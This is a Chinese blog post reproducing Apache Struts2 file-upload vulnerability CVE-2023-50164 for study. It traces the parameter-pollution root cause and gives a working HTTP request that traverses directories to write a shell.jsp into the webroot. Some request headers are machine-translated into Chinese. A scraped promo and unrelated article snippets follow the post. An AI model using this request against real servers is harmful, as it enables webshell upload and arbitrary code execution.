【漏洞复现】Apache Struts CVE-2023-50164

Struts2 官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传 Webshell,执行任意代码。

漏洞描述

Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级Web应用程序。近日,Struts2 官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传 Webshell,执行任意代码。

漏洞分析

Struts2的默认配置通常包含,该拦截器负责处理文件上传,并将文件信息封装到相应的Action属性中。FileUploadInterceptor

正常文件上传

当我们使用默认配置上传文件,尝试路径穿越将文件上传至任意目录,测试发现无法路径穿越到任意目录

图片-20231210165300222

我们在打下断点,跟进代码FileUploadInterceptor#intercept()

图片-20231210165628696

这里跟进multiWrapper.getFileNames()

图片-20231210170059050

这里继续跟进getCanonicalName()

图片-20231210170542142

发现获取文件名是通过substring方法进行截取的,通过../../进行目录穿越是不行的。

参数污染

回到中,在获取文件名后生成了两个变量和FileUploadInterceptor#intercept()contentTypeNamefileNameName

图片-20231210172857904

图片-20231210180044724

  1. 检查每一个文件是否可以被接受(根据配置规则检查,默认全部接受)

  2. 对可以接受的文件,将其文件名、内容类型和文件内容分别保存到三个List中(acceptedFileNames、acceptedContentTypes和acceptedFiles)

  3. 如果接受的文件列表不为空,则将这三个List分别封装成Parameter,并存入参数Map中:

    • 文件内容列表acceptedFiles 封装成参数 inputName
    • 内容类型列表 acceptedContentTypes 封装成参数 contentTypeName
    • 文件名列表 acceptedFileNames 封装成参数 fileNameName
  4. 最后将这个参数Map 设置到上下文的Parameters中,在中对这些参数赋值ParametersInterceptor#setParameters()

跟进ParametersInterceptor#setParameters()

图片-20231210181151414

这里采用创建参数HttpParameters.create()

而在新版本中,对HttpParameters做出了修改,变成了大小写不敏感,而在存在漏洞的版本中是大小写敏感的。

图片-20231210182522101

这导致了这里FileFileName和fileFileName会是不同的参数,都会在赋值ParametersInterceptor#setParameters()

而后面采用了使用 OGNL 表达式调用 setter 方法对变量赋值

图片-20231210183238455

OGNL 在查找 setter 方法时,会自动把属性名第一个字母变成大写,然后查找 setXxx() 这样的方法。

例如,如果你有一个属性名为 “name”,那么 OGNL 会查找 setName() 方法。在这个过程中,不管 name 在 OGNL 表达式中是大写还是小写,都可以正确找到 setter 方法。所以在 Struts 2 的 OGNL 表达式中,属性名的首字母大小写可以不敏感。

所以当我手动传入一个fileFileName参数,在这里也会被赋值,fileFileName和FileFileName参数会被自动映射到同一个参数上。调用相应的get方法获取值时,会取得最后赋值的那个参数的值。

那么这两个参数的赋值先后顺序呢?如果我们手动传入的参数会后赋值,就可以覆盖掉前面的参数,造成参数污染。

在TreeMap中,键(key)的排序是大小写敏感的。默认的排序规则如下:

  1. 大写字母会排在小写字母之前
  2. 数字会排在字母之前

所以当文件上传的name构造为大写开头,手动传入的污染参数构造为小写开头即可

图片-20231210184928102

漏洞复现

构造数据包:

POST /s2/upload.action?fileFileName=../webapps/ROOT/shell.jsp HTTP/1.1

主机:192.168.31.185:8080

内容长度:416

缓存控制:max-age=0

产地:http://192.168.31.185:8080

DNT:1

升级不安全请求:1

内容类型:multipart/form-data;边界=----WebKitFormBoundaryjYgoTIxv686oqL3F

用户代理:Mozilla/5.0 (Macintosh;Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

接受:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

推荐人:http://192.168.31.185:8080/s2/

接受编码:gzip、deflate

接受语言:zh-CN,zh;q=0.9,en;q=0.8

连接:关闭

------WebKitFormBoundaryjYgoTIxv686oqL3F

内容处置:表单数据;name=“文件”;文件名=“测试.jsp”

内容类型:application/octet-stream

测试

------WebKitFormBoundaryjYgoTIxv686oqL3F

内容处置:表单数据;name=“提交”

提交

------WebKitFormBoundaryjYgoTIxv686oqL3F--

文件上传成功,成功路径穿越到webapps目录下!

图片-20231210185327794

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/288665.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ros2 学习03-开发工具vscode 插件配置

VSCode插件配置 为了便于后续ROS2的开发与调试,我们还可以安装一系列插件,无限扩展VSCode的功能。 中文语言包 Python插件 C插件 CMake插件 vscode-icons ROS插件 Msg Language Support Visual Studio IntelliCode URDF Markdown All in One VSCode支持的…

route 路由使用记录

一、路由的基本介绍 路由是计算机网络中的一个重要概念,它用于确定数据包从源地址到目的地址的路径。在网络中,路由器是负责转发数据包的设备。 下面是关于路由的基本知识和使用方法的介绍: 路由表:路由器通过路由表来确定数据包…

linux ARM64 处理器内存屏障

一、内存类型: ARMv8架构将系统中所有的内存,按照它们的特性,划分成两种,即普通内存和设备内存。并且它们是互斥的,也就是说系统中的某段内存要么是普通内存,要么是设备内存,不能都是。 1&…

乐理基础-情绪与速度、具体的速度、BPM

首先音乐中的一拍并不是一个具体的时间(详情看这两个 认识音符、什么是一拍),一拍并不是1图6:秒、2秒、3秒这样一个具体的时间,只能说在同样一份乐谱和同样一个速度下,全音符、二分音符、四分音符等等会依次…

b站高可用架构 笔记

b站高可用架构 关键点:主机房,多活和多活机房 参考文章:bilibili技术总监毛剑:B站高可用架构实践 1. 前端和数据中心负载均衡 前端负载均衡(动态CDN):最近节点、带宽策略、可用服务容量 数据中心负载均衡:均衡流量、识别异常节…

jvm相关命令操作

查看jvm使用情况 jmap -heap PID 查看线程使用情况 jstack pid 查看当前线程数 jstack 21294 |grep -E (#[0-9]) -o -c 查看系统线程数 top -H top -Hp pid #查看具体的进程中的线程信息 使用 jps 命令查看配置了JVM的服务 查看某个进程JVM的GC使用情况 jstat -gc 进程…

独立搭建UI自动化测试框架分享

今天给大家分享一个seleniumtestngmavenant的UI自动化,可以用于功能测试,也可按复杂的业务流程编写测试用例,今天此篇文章不过多讲解如何实现CI/CD,只讲解自己能独立搭建UI框架,如果有其他好的框架也可以联系我&#x…

【Kafka每日一问】kafka中partition 的多个节点是分布在不同的broker上面吗

kafka中partition 的多个节点是分布在不同的broker上面吗 是的,Kafka中的partition(分区)会被复制到不同的broker上。每个partition都可以配置多个副本(replica),这些副本都保存着相同的消息。当一个producer往这个partition写入消息时,消息…

测试自动化平台 | 测试开发工程师的进阶之路

一、测试工程师的现状 很多测试小伙伴在工作中有时会比较迷茫,不知该怎样突破瓶颈,更好的发展。 那么测试人员究竟该如何打破瓶颈继续向上提升呢?如果你苦于不知所措,又满怀斗志向上的话,不妨一起聊聊。测试职业发展…

D : B DS二叉排序树_树中第k小的元素

Description 给定一个二叉排序树和一个整数k,要求输出树中第k个最小元素(k从1开始计数)。 Input 第一行输入t,表示有t个测试样例。 第二行起,首先输入n,接着输入n个整数表示一个二叉排序树,接着输入k。 以此类推共…

爱芯派pro通过无线网卡rtl8188eu连接热点

爱芯派pro通过无线网卡rtl8188eu连接热点 爱芯派pro目前的底板的pcie的复位有问题,所以pcie接口无法挂载上去,所以自己购买的rtl8822网卡也用不了,然后想起来自己还有正点原子的rtl8188eu网卡,但是没有和工作人员进行摸索后才知道…

0x26 广搜变形

0x26 广搜变形 1.双端队列BFS 在最基本的广度优先搜索中,每次沿着分支的扩展都记为“一步”,我们通过逐层搜索,解决了求从起始状态到每个状态的最少步数的问题。这其实等价于在一张边权均为1的图上执行广度优先遍历,求出每个点相…